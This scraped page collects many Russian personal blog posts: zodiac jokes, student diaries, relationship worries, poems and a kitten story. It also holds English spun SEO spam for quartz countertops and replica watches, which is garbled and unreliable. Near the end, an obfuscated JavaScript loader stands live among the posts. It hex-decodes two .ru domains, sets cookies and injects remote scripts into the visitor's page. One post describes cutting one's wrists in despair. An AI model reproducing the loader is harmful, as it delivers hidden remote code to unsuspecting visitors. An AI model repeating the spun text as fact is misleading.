Стрелец - *бормочет что-то непонятное 5 часов подряд, никто не понимает о чем он.*

Козерог - *ведет себя нормально, потому что он всегда уставший.*

Водолей - *каждые 5 минут говорит как сильно он устал.*

Рыбы - *как и козерог ведут себя нормально, потому что всегда уставшие, и ржут над другими.*

Знаки зодиака в походе в лесу

Овны: пытаются командовать всеми

Тельцы: спят в палатке

Близнецы: ноют, что хотят домой

Раки: пытаются поднять всем настроение

Львы: делают вид что очень заняты, на самом деле бездельничают

Девы: готовят что-то вкусное

Весы: просто лежат в спальном мешке, наблюдая за всеми

Скорпионы: просят выпивку

Козероги: пытаются развести огонь

Водолеи: фотографируют природу

Рыбы: сидят возле озера

Удивительно, как один телефонный звонок может поднять настроение. Оно было где-то на дне самого глубокого океана, но вдруг позвонил Саша. В этот момент я жевала хлеб с баклажановой икрой (худею быстрыми темпами). На экране телефона появился неизвестный номер. Я взяла трубку и получилось неловко:

— Алло, - ничего не слышно было. - Алло-о-о.

— Вика, привет.

— Привет. А кто это?

— Это Саша.

— Са-а-а-а-аша!!! Приве-е-е-ет! Как у тебя дела?

Была безумно рада его услышать. Напомню: Сашенька - это мой старший троюродный брат, он два месяца назад ушел в армию. Служит в Хабаровске. Между нами сейчас около девяти тысяч км и 7 часов разницы, он об этом сказал. Поздравил с поступлением. Как обычно, расспрашивал меня обо всем: учеба, здоровье, настроение, где живу и прочее в этом роде. Говорили мы около пятнадцати минут, и за это время связь прерывалась пару раз. В конце, когда мы уже прощались, Саша сказал, что очень по мне скучает и рад был услышать мой голос. А я-то как рада, я как скучаю!!! Я сказала, что буду его ждать, чтобы увидеться летом (а он: "Подожди, летом… Я буду тебе еще звонить"). Ох. Самый лучший брат на свете. Я очень его люблю. И сегодня я вспомнила, что такое слезы радости.

Первая неполная неделя учёбы прошла нормально, были интересные моменты, главный из которых, наверное, - занятия у нашей нерифмуемо солнечной для Скандинавии датчанки Понтоппидан. Началось всё с того, что она подарила нам открытки с викингами и собрала наши дни рождения.

Некоторые лекции были очень занятные, да и все - сколько-нибудь интересные. 16 сентября мне предстоит официально пойти ко дну, потому чтооо обязательный зачёт по плаванию. Стараюсь сделать за сегодня как можно больше, чтобы будние вечера были более-менее свободными. Если вечером можно назвать пару часов перед сном, посвященных чекированию накопившейся за день корреспонденции. Надеюсь, у меня еще будет время на внеучебные чтения, пока не рискую, читаю Гомера и труды по языкознанию. Главное, что высыпаюсь и по утрам бодренькая. А пик бодрости у меня, как ни парадоксально, на отрезке станция "Отдых" - дом. Особенно в восемь вечера. Не могу сказать, что физически изматываюсь, разве что только по истечению трёх часов разбора фонетики датского. А сейчас меня ждёт эта сама фонетика и мультик на этом самом датском. Я бы рада любить осень, но опять никак.

ЧЕГО МЫ ХОТИМ?

КЛЕВЫЕ ТАТУ

КОГДА МЫ ИХ ХОТИМ?

СЕЙЧАС, НО Я ПОКА НЕ ЗНАЮ КАКУЮ ИМЕННО И КАКОГО ДИЗАЙНА и я немного взволнован, что набью что-то не то, но в то же время я хочу набить всякие бессмысленные татушки, которые мне нравятся и не думать много. Я не знаю, чувак, может мне просто надо подождать.

Уж сильно много скопилось у меня трогательных картинок, связанных с армией. Может, кто-то тут такая же сентиментальная, как и я. Давайте реветь вместе, короче!

в детстве все проще, честней и понятнее;
нет перехода от черного к белому -
не дай мне взрослеть: мне намного приятнее,
верить в тебя как в единое целое!

я не хочу быть готовой к предательству,
я не хочу быть серьезной и опытной.
мне чтобы знать не нужны доказательства:
я верю тебе, без сомненья, без ропота.

я верю в тебя - что еще замечательней!
верю, что сбудется все, что захочется!
верю осознанно и бессознательно,
и вера моя никогда не закончится!

все от того, что в сомненьи и взрослости
падают люди и меньшатся истины;
-
не дай мне взрослеть: я боюсь одиночества.
взрослость души, как и гибель - бессмысленны.

#астахова #ахастахова #ахстихи #астаховастихи #детство

Как знаки зодиака убирают в своей комнате:
Овен, Лев, Весы, Скорпион, Рыбы: Они совсем не убираются
Близнецы, Телец, Дева: Они находят удовлетворение в том, чтобы расставлять все по местам
Козерог, Водолей, Рак, Стрелец: они позволяют беспорядку расти, проводят генеральную уборку каждые две недели

Всегда найдется женская рука,
чтобы она, прохладна и легка,
жалея и немножечко любя,
как брата, успокоила тебя.

Всегда найдется женское плечо,
чтобы в него дышал ты горячо,
припав к нему беспутной головой,
ему доверив сон мятежный свой.

Всегда найдутся женские глаза,
чтобы они, всю боль твою глуша,
а если и не всю, то часть ее,
увидели страдание твое.

Но есть такая женская рука,
которая особенно сладка,
когда она измученного лба
касается, как вечность и судьба.

Но есть такое женское плечо,
которое неведомо за что
не на ночь, а навек тебе дано,
и это понял ты давным-давно.

Но есть такие женские глаза,
которые глядят всегда грустя,
и это до последних твоих дней
глаза любви и совести твоей.

А ты живешь себе же вопреки,
и мало тебе только той руки,
того плеча и тех печальных глаз…
Ты предавал их в жизни столько раз!

И вот оно - возмездье - настает.
" Предатель!"- дождь тебя наотмашь бьет.
" Предатель!"- ветки хлещут по лицу.
" Предатель!"- эхо слышится в лесу.

Ты мечешься, ты мучишься, грустишь.
Ты сам себе все это не простишь.
И только та прозрачная рука
простит, хотя обида и тяжка,

и только то усталое плечо
простит сейчас, да и простит еще,
и только те печальные глаза
простят все то, чего прощать нельзя…

Вот и все..
Вчера Богдану сообщили, что друга нашли убитым.. Никто не мог в это поверить, да и до сих пор не верят.
Все, практически, винят в произошедшем Богдана и его друга (их было трое). . Не представляю, что творится у Бо на душе..
Не знаю, что будет дальше. Не знаю, что будем делать. Не знаю ничего, и это убивает..

My new life is starting. First week in Linguistics University is over. It was absolutely new and very interesting for me. During this week I learned that American English had many differences from the British. This time wasn't hard for me, however I know that in future it will be harder. I believe that I am ready for this :)

Ой я вечно так расстраиваюсь когда он не отвечает. И вроде же сказал что могу писать. И как-то мне непонятно, он сидит в вк с телефона, и неужели не видит что пришло сообщение в вотсапп? Скорее всего видит, что я пишу и именно поэтому не отвечает. Просто я как-то с трудом понимаю эту схему. То есть блин. Мне как-то обидно что он не хочет со мной говорить. Потом накручиваю себя.

Ага, проснулись значит-с. Сидим и не разговариваем друг с другом, явственно ощущается холодок, которому дал я начало еще вчера. Мда, события 2-х месячной давности повторяются. Ссора, потом она начала себя вести, как будто меня нет.

День сурка, вашу ж мать.

Это медленно начало перерастать в отвращение ко всему. К этой музыке, к этим фотографиям, к этим "интересным страницам". Даже к манере речи. То, как человек пишет, слишком умно, слишком напыщенно.

Одно раует, с грамотностью мне повезло немного больше, чем некоторым. Я, привыкшая стараться писать правильно, устала. 4 года назад стала заставлять себя писать правильно и проверять следом. Теперь это очень утомительно.

Quartz stone countertops now is common to see in each home decoration, most people is interested that the processing of high quality quartz stone countertops, while today let us know about it.

Quartz, actuality one of the hardest abstracts on the apple is advised as an ideal countertop actual for your new kitchen space. The aerial strength, backbone and adorableness of this stone accomplish it a advanced best for both the designers and home owners. Let's accept an absorbing altercation on how quartz goes through the action of acceptable a countertop afterwards accepting started as crystals in the earth. Leading Quartz Stone Slabs Manufacturers in USA action affection engineered stone countertops for avant-garde home advance or architecture projects.

Basic Facts

Quartz has some accomplished varieties that are admired as semi-precious gemstones. It is the additional best frequently begin mineral on the planet. Quartz forms a apparent anatomy that is about hexagonal in shape, and it is due to such a anatomy it is one of the arch minerals begin on earth. Countertops fabricated of this stone are accessible in altered colors, but the best frequently acclimated quartz countertops are about white.

Mining and Manufacturing

The quartz countertops readers are accustomed with absolutely counterfeit engineered stone countertops composed of 90% arena quartz, that is a accustomed adamantine mineral, forth with 8-10% resins, pigments and polymers. This aggregate forms a actual adamant granite-like surface. Quartz is mined on every busy abstemious of the world. Getting to the quartz requires abundant accouterment and explosives in adjustment to breach through any stone blocking admission or any ground. Once the mineral is exposed, mining is an accessible process. Miners can artlessly aces up apart crystals application their easily and ameliorate anchored crystals with pickaxes and shovels.

Grinding

The aberration amid quartz and added stones acclimated to accomplish countertop abstracts is that it does not appear in huge sheets, and it is abnormally due to this acumen a counterfeit processing is capital to accomplish it into a solid slab. The crystals are produced to be arena up so as to actualize affection countertops. The actualization by and ample depends on the means this mineral is ground. A accomplished bullwork allows for a added compatible actualization while a beyond bullwork allows the counters to accept added abyss and sparkle. In added words, a coarsely arena quartz produces a brindle appearance, admitting a cautiously arena quartz creates a bland look.

Mixing with Resin

The arena up quartz is alloyed with a actual little bulk of adhesive that helps in authoritative the countertop apparent hard. A appearance abettor is additionally acclimated to the mixture. The bulk of blush and adhesive is alone about 3% of a countertop. Apart from appearance agents, added abstracts like semi-precious quartz varieties, baby flecks of adored metals or recycled bottle can additionally be added if the applicant desires.

Forming slabs

The actuality is apprenticed into a cast and convalescent in an oven afterwards the bond is done. Molding can be customized to acquiesce the audience to actuate the counter's ambit and an binding style. Afterwards curing, the countertop is kept to be accustomed and cool. Now, it already has a bright accomplishment and alone needs to be installed afterwards the accoutrement holes are made.

With a able accession of your new quartz countertop slabs in your home, have a good time with many blessed years of their ample applications.

Меня убили. Меня убил тот человек, от которого я это не ожидала. Был один мальчик, с которым у нас что-то было. Было все взаимно и мило, но как выяснилось у него есть девушка и давно. Он все это время мне врал, но ладно мне, на себя наплевать, он врал своей девушке. Мне так больно… Он говорил такие слова, что я ему очень нравлюсь, что он обожает меня… Но это все вранье. Меня просто наебали. Я хочу себя уничтожить. Я не могу смотреть в зеркало, я вижу уебище. Я не могу есть. Боже, единственное, что я хочу, чтобы НИКТО И НИКОГДА не чувствовал такую боль. Я вскрыла руки вдоль, надеюсь, ты с ней будешь счастлив. Это в очередной раз доказало, что я никому никогда не понравлюсь. Я обречена на страдания и одиночество. У меня все.

Вчера засыпала с мыслями о том, как же все очень плохо. Проснулась с мыслями, что нужно жить и двигаться дальше. Нельзя делать так, чтобы что то тебя ломало. Нельзя показывать людям, что ты слабачка. Сегодня по плану написать отчет по практике и навестить по возможности маму. Жизнь движется дальше. Мы сами её строим, почему же не сделать так, чтобы каждая минута была бесценна с предыдущей.

интеллект превыше всего. не люблю глупых, примитивных, безграмотных людей. просто не переношу. не могу общаться с людьми, у которых интеллект на уровне воробушка. да и в мужчинах интеллект, пожалуй, одно из самых сексуальных качеств.

Я не знаю в чем дело. В стериотипах прочно засевших в мозгу или же просто в людской тупости. После того как я коротко постриглась, в барах со мной стали знакомится только женщины. Боже, если у меня короткая стрижка это не значит, что я люблю вагины и если ты делаешь вид, что ты рада моей ориентации (которая только в твоей голове между прочим) мне будет приятно

Наше поколение осмотрелось по сторонам и пришло к выводу, что взрослеть совсем не обязательно. Можно не жениться/выходить замуж, заводить детей, тащить семью. Вместо этого можно смотреть мультики, сутками сидеть за играми и есть сладости. Это ведь лучше, верно? Мы делаем выбор в пользу страны вечного детства. Книги о Гарри Поттере, Властелине колец, приставки, игрушки прочно обосновались в наших комнатах. Мы бежим от слов как от огня: ответственность, выбор, отчет, работа. Нам никто не объяснил, как надо взрослеть. Нам страшно. Я бы мог еще много об этом писать, вдохновлять и мотивировать. Но мне пора перечитывать Гарри Поттера.

—Дома не поймут

When you sleeping, have you ever dreamed that you become a millionaire. You own a lot of money and it is countless. But, when the day breaks up, you are awake it is just a dream. You are still a common person as what you are and your bank account is still poor. Although you have less money, you can use replicas to make yourself up. And it will let you thought to be a rich man. So designers create plenty of replicas to delight your demands. Replicas are the duplicates of the authentic designer replica watches which are called replica designer watches. And the replica designer watches will let the sophisticated consumers dazzled due to their quality, craftsmanship and style.

The manufacturers pay more attention to the details. So, a top quality replica can cheat you. And you are hardly to distinguish the real and the copied. And there are also poor replicas that you can call them fake watches. The replicas are welcomed by people from all over the world. Because their popularity, the producers provide you with a wide range selection. Therefore, you can regard them as the authentic timepieces. And you can see they are worn by a large number of persons that have different work, genders and social status.

No matter whom you are, there must be one of the finest u-boat replica watches, which is suitable for you. And you may ask where you can buy the replicas. It is convenient. And you can get them easily through the retailing stores and online shops. When surfing on the internet, there are plenty of watches online stores that appear on your searching list. There must be one watch that meets your requirements. They are not expensive, compared with the real timepieces. And if you are lucky enough, some sellers will give you a discount.

ладно, пожалуй, напишу всё сюда, чтобы выговориться. потому что, например, написанное вчера грызло меня полвечера, а на утро я проснулась и даже не вспомнила о тех чувствах, вспомнила лишь когда увидела свой пост, хотя я была в здравом уме, когда его писала. наверное всё-таки сознание, затуманенное ревностью и обидой, не может быть ясным.

я в последнее время редко о нём пишу. просто потому, что не происходит каких-то серьёзных конфликтов и у меня не случается истерик. всё идёт спокойно и довольно мило, когда мы общаемся. я не жалею о том, что в тот момент, когда хотела всё закончить, дала слабину и поддалась его уговорам и попыткам меня успокоить. к чему бы это ни привело в дальнейшем, я по крайне мере стала меньше соплежуйствовать здесь. если бы он меня в тот момент не "вернул", я бы до сих пор здесь писала о том, как больно, тошно и всё прочее, я бы ныла изо дня в день. сейчас мы просто общаемся. я научилась не ждать встреч (иногда есть доля надежды, но я себе стараюсь не позволять и этого). и всё в порядке. я знаю: вот в понедельник он напишет, а в выходные скорее всего нет и я не думаю об этом. и ничего не жду. и никакого нытья. ну кроме микрообидок, которые решаются с ним и сразу же, и моментов, когда он начинает играть на моих нервах и жутко меня злить. но это одна из тех составляющих, на которых наши отношения и держатся.

и вот всё равно при этом размеренном общении, при всех попытках настроить себя на "не думать" частенько что-то переключается в голове и накрывает. если не разочарование из-за неудавшейся встречи, то какая-то непонятная обида и наверное даже зависть. так и вчера слегка накрыло. вот вроде сидишь, никто тебя не трогает, никакого повода и вдруг начинает жрать ревность и мысли "когда-нибудь возможности видеться у нас не будет совсем". я не имею права на ревность и тем более на её какие-то проявления, но ничего не могу поделать, когда в голове картинки, как они проводят вместе выходные, как она уходит от него на работу и возвращается обратно, как она таскается по его квартире (хотя там всё равно срач и непонятно для чего она там вообще), как она сидит у него на кухне, как лежит в комнате. с ним. и мне тошно. и мне обидно, что она элементарно может видеть его каждый день, а я только раз в месяц, если очень повезет. пытаешься взять себя в руки и отогнать от себя эти мысли, но тяжело даётся. а потом вообще начинаешь думать, начерта это всё надо. но закончить не можешь потому, что всё ещё теплится эта дурацкая надежда на то, что всё ещё будет.

в общем, ладно, не хочу ещё больше углубляться в это. потому что начинаю себя жрать. я хотела высказаться и сделала это. я хочу уехать и не иметь времени на эти мысли. и хочу посмотреть на его реакцию, когда скажу, что уезжаю (не обязательно же озвучивать, что в отпуск).

Так, чтоб быть честной, ноутбук я сейчас включила впервые с, наверное, 29го августа. Первая неделя учебная далась мне сложно, выматывающе, но при этом очень интересно.

Я помню по своему прошлому ВУЗу, что первый месяц-полторы идут начитки лекций, можно расслабить булки и совершенно не париться.
А тут пришел филфак.
И я поняла, что мне пришел пиздец.

Прошло всего три учебных днях.
У меня уже было 6 семинаров по фонетике, два устных опроса и контрольная.
А еще я полным ходом уже нырнула в древнегреческую литературу и персонажи "Илиады" ко мне скоро в кошмарных снах будут приходить.

В общем, я убежала дальше читать и пытаться разобраться в богах, героях и так далее.
Эмоций от учебы у меня много. В основном они все положительные.
Вот только в интернетиках ваших я теперь буду очень редко появляться т.к. задают очень много и много нужно учить.
У нас сокращенный семестр и сессия уже начинается 6го декабря, так что работы много, а времени совсем мало.

Всем хорошего дня, легкой учебы и работы, которая приносит только удовольствие.

Сколько требуется минут, чтобы не позвонить и не спросить: "какого хуя?!"?

Сколько требуется часов, чтобы понять, что бесишься по пустяку?

Сколько требуется ночей, чтобы после хоть что-нибудь написать?

Пока мне хватило

5 минут

8 с половиной часов

И 1 ночь.

Удивительно, что ещё приснился сон, и показал мне мою глупость. Как хорошо, что я ничего не предпринимаю. Ведь нельзя быть такой, кто вечно ноет, и задалбливает по поводу и без повода.

Стараться быть.

Вчера мне впервые за долгое время стало действительно очень-очень-очень не по себе.

Знаете блоггера Машу Вэй? Если коротко - очень красивая девушка, которая снимает видео про красоту, одежду, в общем, обычный бьюти блоггер, я иной раз захаживаю к ней посмотреть какой-нибудь туториал или TAG.

Ее несколько месяцев не было на Ютюбчике, и вот только-только начали выходить видео, в последнем она объяснила, чем же было вызвано это отсутствие.

Она начала рассказывать о том, что в последнее время ей начали приходить письма с угрозами, причем серьезными, что этот человек прокомментировал абсолютно все, и даже каждый безобидный твит перекручивал и отвечал на него. Более того, даже улица, где она живет, ему известна. Но ей все таки хочется заниматься любимым делом и она вернулась, т.к. никто не может заставить ее прекратить наслаждаться жизнью.

Ребят, тут мне стало реально страшно. Что бы я сделала в такой ситуации? По сути, ты даже на такого человека заяву же накатать не сможешь? Вот эти все "по IP вычислю" это ж вообще фигня, максимум - город или улицу, а в остальном - только у провайдера, разве что…

Конечно, в основном интернет - это место, где не избежать каких-то умом тронутых и неадекватных людей, но по сути какой то парой комментов это и ограничивается, верно?

Одно дело когда тебе просто пишут негативные комментарии, если людям что-то не нравится или они просто бесятся, но когда все выходит за рамки…Напоминает сюжет какого-то триллера: (

Причем я решила чисто из любопытства пролистать комменты, и там уже нарисовался какой-то аноним, пишущий с разных аккаунтов "Это только вторая стадия…".

Мороз по коже.

Будьте бдительными и аккуратными, а самое главное, берегите себя!

Пару дней назад решила, что стоит на некоторое время завязать со сладким. В итоге уже сегодня сижу и лопаю огромное пирожное с бананами. "Сегодня единственный за неделю выходной, я не могу отказать себе любимой", - отрезал внутренний голос. Кто безвольное, но счастливое существо? Правильно, Виика.


Я улыбаюсь днями напролёт,
А по ночам заштопываю раны.
Ну что с того? Мне не всегда везёт.
Я с этим справлюсь, ты же знаешь, мама.

В отчаяньи, у жизни на краю,
Когда ни шагу в бок, а только прямо,
В сто тысяч первый раз я повторю:
«Я сильная. Я справлюсь». Слышишь, мама!

И где-то там, внутри меня, живёт
Душа, в ошмётках жизненого хлама.
Но знаю, за паденьем будет взлёт.
Я справлюсь, только не волнуйся, мама.

Мне стыдно плакать, вот и не звоню.
Да, я порой несносна и упряма.
Ты просто знай, что я тебя люблю.
И всё в порядке. Я справляюсь, мама.

Я люблю, когда мне пишут "доброе утро" или звонят. Постоянно проверяют, как я поживаю. Я не нахожу это раздражающим. Я не понимаю, как кому-то это может не нравиться. Кто-то постоянно хочет с тобой разговаривать и проявлять заботу. Я люблю, когда люди так делают. Это делает меня счастливой и останавливает от того, чтобы уйти. Это показывает, что вы думаете обо мне.

А еще у меня в принципе с головой не порядок! Я проснулась в 7 утра, не смогла уснуть, поехала на работу к 6 вечера, уехала в 7 утра. Сейчас по идее я должна вырубиться и забыться, но что делаю я ? Собираюсь встретить друга, который возвращается из Москвы. Просто. Убейте. Меня. Пожалуйста. Я всю смену несла чушь, смеялась, была словно под чем-то, ибо туго соображала. И сейчас вместо сна, я поеду встречу друга, потом поеду домой, посплю два часа и снова на работу 12 часов. Ну не дура ли ?

Правило трех.

То, что случилось единожды, может не повториться. Но то, что случилось дважды обязательно произойдет в третий раз.

Или как сказал один ученый:

" Когда мы что-то изучаем, то придерживаемся такого правила: если что-то произошло - это случайность, если что-то повторилось - это совпадение, но если что-то прозошло трижды - это уже закономерность ".

сомнения и мысли - мои враги №1 просто.

нельзя сомневаться в любимом человеке, но как тут удержаться, когда он каждый вечер проводит в компании, где находится его бывшая и бабы, которые лучше меня.

ночью все мысли страшные. не удержаться от сигареты.

мда… кажется, проблема заключается во мне.


Зря я это сказала :D если он наберет очков больше, чем я, то я исполню любое его желание…нереально было набрать больше, чем 6 тыс, а он взял и набрал 11 !!! Как! Зачем! Я попала !!! Чувствую, что придется пить яйцо сырое или чего хуже, есть какого-нибудь таракана, кто только меня за язык тянул, ктооо

В общем учеба вошла в мою жизнь, значит все остальное из нее выходит, ну конечно, кроме моего молодого человека.

Наверное, только на моем факультете иностранной филологии 1 сентября было 4 пары и нас нагрузили конкретно, что уже с первого дня у меня было "отменное" настроение и хотелось скорей в кроватку.

Хоть и уже второй курс, но чувствую как-будто до этого ничего и не учила. А учителя нам достались не очень, по-этому нужно контролировать и свои эмоции и слова, и действия. Главное улыбаться, кивать и учить.

Всем хорошего учебного года!

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="8066", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

История одного котёнка

На днях мама принесла домой под вечер маленького котенка, навскидку ему около месяца. Это маленькое существо появилось возле нашего подъезда в грязи и еще непонятно чем, где и кто его извалял сложно представить. Какие-то милые люди попытались котенка отмыть, а потом вновь выставили на улицу (сделали доброе дело, учитывая, что на улице и без того было холодно). В общем мокрый, но еще грязный котенок дрожал от холода и без остановки кричал, ничего не оставалось, как забрать домой, иначе наверняка бы погиб. У нас есть и своя кошка, до чертиков ревнивая, но оставить практически ребенка на улице мама не могла. Котенок был невзрачным, как сначала показалось, больные глазки, немного покоцанная мордочка и неприятный запах. Мимо таких люди обычно проходят на улицах, морщась в приступах брезгливости. А зря. Мы выделили гостю коробку с кучей тряпочек и теплых шапок, он около двух часов просто сидел в них и отогревался, все еще изредка вздрагивая и вздыхая. Тем же вечером мы выкармливали котенка из пипетки теплым молоком, протирали и лечили ему глазки, процедуру мытья отложили до утра, ведь запах и грязь с него никуда не делись. Ночь была бессонной, он частенько кричал, вылезал из коробки, а когда брали его на руки, успокаивался и засыпал. Утром нужно было собираться в школу, мы специально встали пораньше, чтобы отмыть, накормить и провести все процедуры гостю. Все было сделано. Каким же чудным оказалось это существо! Я успела к нему привязаться за сутки. Помытый он оказался очень хорошеньким, быстро привык к новой обстановке, кушал уже сам без помощи, правда один боялся оставаться и с удовольствием весь день спал у меня на коленях, иногда игрался, к кошачьему лотку он также приучился с первого раза. Ко мне в тот день приходили еще парочка знакомых, и котенок влюблял в себя всех окружающих. Однако наша дружба не продлилась долго, мама нашла куда его пристроить. Я жутко расстроилась и обрадовалась одновременно. Вечером его забрали, я всплакнула даже. Но семья, в которою котенок переехал, отличная, мама часто с ними созванивается и узнает, как и что. Кот (это оказался мальчик) свыкся с новой обстановкой, подружился со своими хозяевами, получил имя и побывал на приеме у ветеринара. Жизнь его однозначно пошла на лад, чему я безумно рада. Что может быть лучше животных? Подарите жизнь и капельку заботы маленькому существу, а оно ответит в троекратном размере.

P/S Кто бы еще слизывал мои слезы, кои я не доверяю никому из людей, как не моя кошка?

\Гиф какого-то милого и неизвестного мне котика\

Чувствую приближение осенней хандры и чего-то невероятного.Для меня эта осень будет особенной.Хочется укутаться в теплый плед и пить горячий шоколад.Но пора собираться на работу, заставить себя подняться с постели и выйти на улицу.

День вчера был ужааасный. Не было ни одного момента, чтобы в голове проскочила мысль типа: "Вау, классно" и т.п. Наверное, чем больше хочется, чтобы день был удачным, тем меньше вероятность того, что так оно и будет.
Итак, как я провела день города. Кошмарно. Я больше мучалась от мыслей, что все идет не так, что я не могу разорваться и никуда не успеваю. В итоге всё было максимально скучно и печально. Хотя…нет, были два момента, когда сказала "Вау, классно". Это уже в конце вечера. Первый- когда был салют. Второй- когда подошел мой трамвай и мне удалось уехать домой.


Некоторые моменты так хочется растянуть на целую вечность. Но они уплывают, ускользают от нас сквозь пальцы, никогда более не повторяясь. Остаются обрывки воспоминаний, способных согреть душу, хотя и они нуждаются в многократной подпитке.

Первая учебная неделя подошла к концу. В целом все было неплохо. Только вот предмет сложный начался, все вечера за учебниками; тяжело вот так начинать учиться, когда 2 месяца ничего не делала, а тут сразу наваливается учеба. И зал я пропускаю по этой же причине - нет времени; абонемент пропадает, да и программу потом заново начинать придется, а это огорчает.
Из неприятно го еще то, что я заболела. Это больше всего расстраивает. Сопливое состояние терпеть не могу. Уж лучше температура, хотя и этого не надо. Поэтому цель на сегодня - избавиться от него, если возможно; говорят же "Если не лечить насморк, пройдет за неделю, если лечить - за 7 дней".
Помимо борьбы с простудой мне предстоит выучить где-то страниц 250. Миссия невыполнима просто.
Теперь о приятно м. Защитила практику. Празновали первое 1-е сентября моей маленькой подружки с любимым и его семьей, через несколько дней отмечали ее день рождения. До чего ж она милая, просто обожаю!

Я не знаю, что еще написать, но очень хочется: готова делать все, что угодно, лишь бы не учить. Но, к сожалению, надо пойти заниматься. Может, хоть вечером найдется время, чтобы посмотреть фильм.

Я решила, что теперь это не будет блогом о Диме. У меня их два, но пишу я только сюда. Когда я стала такой? Мои интересы в жизни сводятся к пирогам, залу и вечному ожиданию своего парня. Где мои цели и устремления? Хочу развиваться как раньше. Хочу мечтать о большем.

всю последнюю неделю лета я ездила в академию на неделю первокурсника

в итоге я староста

а с 1 сентября у меня уже началась учебка, тогда как в других универах моего города (ДВФУ, ВГУЭС, МГУ) неделя первокурсника только 14 сентября начнется

поэтому мой организм запротестовал и серьезно заболел, вплоть до капельниц и походов в больницы

и из-за этого всего пропало все желание учиться, напрягаться и стараться

и скоро А уйдет в армию, тогда я вообще потеряюсь

Сплин – Черный цвет солнца.

У нее было правило - не доверять тем,
Кто собой заслоняет свет.

И я снял с нее платье,
А под платьем бронежилет.
Когда кончится музыка,
Возьми пистолет и жди крика совы,
Я приду умереть от любви,
Чтобы утром проснуться живым.

Если ты слышишь, если ты слышишь меня,
Время вышло, а я не успел показать тебе
Черный цвет солнца.
Лето ушло и уже никогда не вернется.
Осень, хлебни ядовитой воды из колодца.
Зима будет долгой, но все обойдется.

Первая неделя выдалась достаточно насыщенной, и я надедюсь, что так оно альше и будет. Вообще, самая главная новость - 25 числа я стала тетей во второй раз ! У меня теперь еще одна родная племянница, которую назвали Дарьей ♥ Эту всю неделю я провела, как хомячок, бегающий в колесе. Серьезно, я почти не пинала балду, а лишь училась и гуляла.

Для начала, на этот семестр у меня достаточно классное расписание, например, до 10 октября я учусь с понедельника по четверг, а остальные дни выходные. (я уже начинаю ощущать прелесть четвертого и последнего курса). Поэтому вечера свободные, осталось лишь найти чем их занять. И тут я уже подобрала себе пару вариантов, чем я могу себя занять. Это, конечно же,. работа. Ведь на зимнее путешествие нуужно как - то копить (у родителей из приниципа брать не хочу), а сидеть и тупить в монитор мне не нравится.

Первая неделя сентября, на удивление, оказалась теплой, и каждый вечер я не сидела и не тухла в общаге перед экраном, а гуляла, гуляла и еще раз гуляла! Нашли пару красивых мест, правда добираться до туда тяжеловато, но вид оттуда нереальный, а если еще и закат красивый, то там можно сидеть на темноты, правда в темноте трудно оттуда выбираться. Потом даже выложу пару фотографий.

Вчера же произошло то, чего я никак не ожидала. Вместо выкапывания картошки на огороде, была на даче у человека, который предоставляет нам работу на лето. И там были все наши, кто работал в Геленджике. И без него тоже не обошлось. Этот вечер вновь подтвердил, что оон мой человек. Только вот я, кажется, не его. С погодой нам чуть - чуть не повезло и к вечеру стало невыносимо холодно, и когда уже ничего не помогало, на помощь пришел он и доброжелательно сидел и грел мои ноги своими ногами (блин, как нехорошо звучит - то ! :D). Я была довольна, как слон. Еще, я не понимаю, он только со мной говорит с этой ноткой в голосе, или со всеми? Потому что фраза "Ой, ты тут", прозвучала так мимимило, что я готова была растечься там на заднем сиденье машины. А этиобнимашки… АГРХЗРХАЗВР. Короче, с этим мужчиной нужно что - то делать, и желательно в мою пользу :D

И последнее, о чем хочется рассказать, так это то, какая я лошара. На этой неделе у нас забрали паспорта на регистрацию, и я даже не задумываясь его отдала. А первого сетября, когда паспорта на руках уже не было, я пошла снимать деньги с карточки стипендиальной, на которой у меня хранятся ВСЕ мои деньги, и знаете что мне сказал банкомант? Хренушки! У тебя карта просрочена. а менять ее можно только с паспортом.. Вот жду теперь, кога мне вернут мой паспорт и яя вновь буду счастлива :D

It is widely known that Rolex never make complicated watch. We always hear people talking about that the Rolex waist watches lack of complicated functions and that this is a big pity of such a famous watch brand. We can not give a definite answer about how much progress would make if Rolex has made and keeps making the best replica watches with complex functions, but we dare to say has been made great achievement so far without making the so called watches with complicated functions. The “complicate watch” with the phrase of moon function actually not comes from the original factory of Role, it is the Italian watch maker Marcello Comezzi who made it on the bases of Rolex3135, and there is only one in the whole world.

